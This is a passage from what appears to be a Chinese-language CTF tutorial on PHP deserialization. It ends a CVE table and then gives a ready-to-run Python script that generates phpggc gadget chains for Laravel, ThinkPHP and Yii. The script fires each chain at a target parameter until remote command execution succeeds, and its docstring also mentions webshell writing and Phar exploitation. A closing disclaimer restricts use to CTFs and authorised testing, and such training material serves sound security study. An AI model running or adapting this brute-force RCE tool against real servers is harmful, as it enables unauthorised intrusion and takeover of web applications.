exif_read_data 越界读取 |
信息泄露 |
| CVE-2022-31625 |
<8.1.8 |
反序列化中的 pg_query 触发 |
UAF → RCE |
D. 一键生成与发送脚本
#!/usr/bin/env python3
"""
PHP 反序列化 CTF 一键脚本
支持:直接 RCE、写 WebShell、Phar 利用
"""
import subprocess, requests, base64, sys, os
import argparse
PHPGGC = "./phpggc/phpggc"
def gen(chain, func, arg, encode="-b"):
r = subprocess.run([PHPGGC] + chain.split() + [func, arg, encode],
capture_output=True, text=True)
return r.stdout.strip()
def send(url, param, payload, method="GET", cookie=None):
h = {}
if cookie:
h["Cookie"] = cookie
if method.upper() == "GET":
r = requests.get(url, params={param: payload}, headers=h, timeout=10)
else:
r = requests.post(url, data={param: payload}, headers=h, timeout=10)
return r.text
# 主程序
chains = [
"Laravel/RCE1", "Laravel/RCE2", "Laravel/RCE3",
"Laravel/RCE8", "ThinkPHP/RCE1", "ThinkPHP/RCE2",
"ThinkPHP/RCE3", "Yii/RCE1", "Yii/RCE2",
]
TARGET = "http://target.com/vuln.php"
PARAM = "data"
CMD = "cat /flag"
print(f"[*] 目标:{TARGET}")
print(f"[*] 命令:{CMD}")
print()
for chain in chains:
payload = gen(chain, "system", CMD)
if not payload:
continue
print(f"[*] 尝试链:{chain}")
resp = send(TARGET, PARAM, payload)
if "flag{" in resp or "uid=" in resp:
print(f"[!] 成功!链:{chain}")
print(f" 输出:{resp[:300]}")
break
else:
print(f" 无明显输出: {resp[:60]}")
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。PHP 反序列化攻击在未经授权的系统上使用属于违法行为,请在合法合规的环境中学习与实践。